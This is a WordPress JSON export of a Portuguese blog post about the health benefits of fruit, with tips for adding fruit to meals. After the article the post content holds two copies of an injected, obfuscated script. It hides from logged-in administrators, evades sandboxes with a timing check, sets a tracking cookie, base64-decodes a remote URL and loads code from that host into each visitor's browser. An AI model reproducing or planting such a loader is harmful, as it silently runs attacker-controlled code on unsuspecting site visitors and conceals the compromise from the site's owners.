{"id":134,"date":"2021-01-14T12:25:23","date_gmt":"2021-01-14T15:25:23","guid":{"rendered":"http:\/\/ceagguarulhos.com.br\/blog2\/?p=134"},"modified":"2026-06-10T05:33:16","modified_gmt":"2026-06-10T08:33:16","slug":"beneficios-das-frutas","status":"publish","type":"post","link":"https:\/\/ceagguarulhos.com.br\/blog2\/2021\/01\/14\/beneficios-das-frutas\/","title":{"rendered":"Benef\u00edcios das Frutas."},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"5\" src=\"http:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1024x5.png\" alt=\"\" class=\"wp-image-26\" srcset=\"https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1024x5.png 1024w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-300x1.png 300w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-768x3.png 768w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1536x7.png 1536w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-2048x9.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">De modo geral, as frutas s\u00e3o ricas em fibras e possuem diversos nutrientes. Por\u00e9m, cada uma delas apresentam seus pr\u00f3prios benef\u00edcios para sa\u00fade e bem estar.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Talvez voc\u00ea n\u00e3o saiba como inclui-las na sua alimenta\u00e7\u00e3o, mas justamente por isso, trouxemos algumas dicas que pode te ajudar a ter uma alimenta\u00e7\u00e3o mais saud\u00e1vel e com frutas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1)Inclua no caf\u00e9 da manh\u00e3 &#8211; voc\u00ea pode misturar algumas frutas com granola, iogurte ou at\u00e9 mesmo fazer um suco natural ou uma vitamina.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2)Lanche nutritivo &#8211; a fruta pode ser um lanche pr\u00e1tico e saud\u00e1vel para correria do dia a dia.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3)Prepare uma gel\u00e9ia sem a\u00e7\u00facar &#8211; cozinhe lentamente a fruta de sua preferencia, use especiarias e guarde em vidros, assim elas podem ser consumidas com p\u00e3es e torradas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">4)Varie os tipos de frutas &#8211; voc\u00ea pode consumir 5 op\u00e7\u00f5es diferentes por dia sem enjoar, consuma frutas de cores diferentes, assim voc\u00ea tamb\u00e9m consumir\u00e1 diferentes concentra\u00e7\u00f5es de vitaminas e minerais.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Agora que voc\u00ea j\u00e1 sabe que as frutas s\u00e3o ben\u00e9ficas para sa\u00fade e existe diferentes maneiras de consumi-las, \u00e9 s\u00f3 inclu\u00ed-las no seu dia a dia e viver uma vida saud\u00e1vel.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> <\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>De modo geral, as frutas s\u00e3o ricas em fibras e possuem diversos nutrientes. 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